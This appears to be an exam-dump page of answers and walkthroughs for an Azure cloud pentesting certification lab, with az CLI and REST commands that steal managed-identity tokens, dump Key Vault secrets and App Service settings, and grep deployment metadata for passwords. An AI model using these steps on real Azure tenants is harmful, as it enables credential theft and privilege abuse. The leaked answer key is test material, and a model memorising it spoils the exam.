The SecOps Group Certified Cloud Pentesting eXpert - Azure CCPenX-Az Exam Dumps: Updated Questions & Answers (July 2026)

Detailed Solution:

Query role assignments for the managed identity principal:

az role assignment list \

--assignee b72a4c19-92f6-47f3-b3dd-9db5a31831d1 \

--all \

--output table

Expected output:

Principal Role Scope

------------------------------------ ---------------------- ----------------------------------------------

b72a4c19-92f6-47f3-b3dd-9db5a31831d1 Key Vault Secrets User /subscriptions/.../resourceGroups/rg-prod-apps-eastus

The assigned role is:

Key Vault Secrets User

Azure RBAC role assignments can be granted to users, groups, service principals, and managed identities.

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Flag{managed_identity_can_read_keyvault_secrets}

Detailed Solution:

List Key Vaults:

az keyvault list --output table

List secrets:

az keyvault secret list \

--vault-name kv-finance-prod \

--output table

Expected output:

Name Enabled

---------------- --------

db-password True

api-token True

internal-flag True

Retrieve the flag secret:

az keyvault secret show \

--vault-name kv-finance-prod \

--name internal-flag \

--query value \

--output tsv

Expected value:

Flag{managed_identity_can_read_keyvault_secrets}

Azure Key Vault can use Azure RBAC for secrets, keys, and certificates, including data-plane secret access.

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The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration. In this lab chain, it should reveal the next user credential, commonly for:

sumit.siddharth@azuresecops.onmicrosoft.com

Detailed Solution:

The key point is this: you are no longer only using Alex’s user permissions. You must use the Web App managed identity .

From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.

For Linux-style shell:

curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df " \

-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "

For Windows PowerShell inside Kudu:

$uri = " $env:IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df "

$response = Invoke-RestMethod -Uri $uri -Headers @{

" X-IDENTITY-HEADER " = $env:IDENTITY_HEADER

}

$token = $response.access_token

Now use the token to query Azure Resource Manager.

$sub = " 7403ec86-c39d-4d80-9efa-35c7580ecefa "

$rg = " Excalibur-Resources "

Invoke-RestMethod `

-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version=2021-04-01 " `

-Headers @{ Authorization = " Bearer $token " }

Next, enumerate ARM deployments.

Invoke-RestMethod `

-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments?api-version=2021-04-01 " `

-Headers @{ Authorization = " Bearer $token " }

For each deployment name returned, inspect it:

$deploymentName = " < deployment-name > "

Invoke-RestMethod `

-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments/$deploymentName?api-version=2021-04-01 " `

-Headers @{ Authorization = " Bearer $token " }

Also check deployment operations:

Invoke-RestMethod `

-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments/$deploymentName/operations?api-version=2021-04-01 " `

-Headers @{ Authorization = " Bearer $token " }

Search the output for fields like:

password

secret

adminPassword

userPassword

credential

sumit

The exposed value is the answer to Q4.

A practical one-liner on Linux would be:

curl -s -H " Authorization: Bearer $TOKEN " \

" https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups/Excalibur-Resources/providers/Microsoft.Resources/deployments/ < deployment-name > /operations?api-version=2021-04-01 " \

| jq ' .. | strings ' | grep -iE ' password|secret|credential|sumit|flag '

Final Answer:

Use the leaked secret/password value returned from the deployment metadata. Do not guess this; it is lab-generated.

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Use az login --service-principal

Detailed Solution:

Command:

az login --service-principal \

-u c5fba7db-5e61-45bc-8944-3cd457bb19c2 \

-p ' < client-secret > ' \

--tenant 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a

Verify:

az account show --output json

Expected important field:

{

" user " : {

" name " : " c5fba7db-5e61-45bc-8944-3cd457bb19c2 " ,

" type " : " servicePrincipal "

}

}

This confirms you are authenticated as the App Registration/service principal.

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Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}

Detailed Solution:

Start by listing all Azure resources accessible to the compromised user.

az resource list --output table

The environment exposes at least these resources:

RnD-Tools Excalibur-Resources ukwest Microsoft.Web/sites

WebAppTokenIdentity Excalibur-Resources ukwest Microsoft.ManagedIdentity/userAssignedIdentities

The most interesting target is the App Service:

RnD-Tools

Web Apps often store configuration values in App Settings. These commonly contain secrets, flags, API keys, connection strings, or credentials.

Query the App Service application settings:

az webapp config appsettings list \

--name RnD-Tools \

--resource-group Excalibur-Resources \

--output json

Look for keys such as:

Flag

secret

password

token

connectionString

clientSecret

The exposed app setting contains:

{

" name " : " Flag " ,

" slotSetting " : false,

" value " : " Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2} "

}

Final Answer:

Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}

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Detailed Solution:

In an Entra ID abuse path, a privileged user such as User Administrator may reset another user’s password. In logs, this appears as a user update operation involving the password profile.

Check audit logs in the portal:

Microsoft Entra ID → Monitoring → Audit logs

Or query via Microsoft Graph/Azure tooling depending on permissions.

The activity to look for is generally:

Update user

Modified property: passwordProfile

The other options represent different activities:

Microsoft.Authorization/roleAssignments/write = RBAC role assignment change

Microsoft.Storage/storageAccounts/listKeys/action = storage account key retrieval

Microsoft.KeyVault/vaults/secrets/read = Key Vault secret read

Correct answer:

B. Update user / password profile modification

olivia.admin@cloudcorpsec.onmicrosoft.com

Detailed Solution:

Run:

az role assignment list \

--resource-group rg-prod-apps-eastus \

--all \

--output table

Or filter by role:

az role assignment list \

--resource-group rg-prod-apps-eastus \

--role " User Access Administrator " \

--query " [].{Principal:principalName,Role:roleDefinitionName,Scope:scope} " \

--output table

Expected output:

Principal Role Scope

------------------------------------- ------------------------- ----------------------------

olivia.admin@cloudcorpsec.onmicrosoft.com User Access Administrator /subscriptions/.../rg-prod-apps-eastus

Final answer:

olivia.admin@cloudcorpsec.onmicrosoft.com

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Detailed Solution:

For Azure Resource Manager API calls, the token audience/resource must be:

https://management.azure.com/

Inside App Service Kudu/console, request the token:

curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ " \

-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "

The response contains:

{

" access_token " : " < jwt-token > " ,

" resource " : " https://management.azure.com/ " ,

" token_type " : " Bearer "

}

Correct option:

B. https://management.azure.com/

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Flag{app_settings_should_not_store_secrets}

Detailed Solution:

Query App Service settings:

az webapp config appsettings list \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--output json

Search for suspicious keys:

az webapp config appsettings list \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--query " [?contains(name, ' FLAG ' ) || contains(name, ' Flag ' ) || contains(name, ' SECRET ' )] " \

--output table

Expected output:

Name SlotSetting Value

---------- ------------- ----------------------------------------

APP_FLAG False Flag{app_settings_should_not_store_secrets}

The flag is:

Flag{app_settings_should_not_store_secrets}

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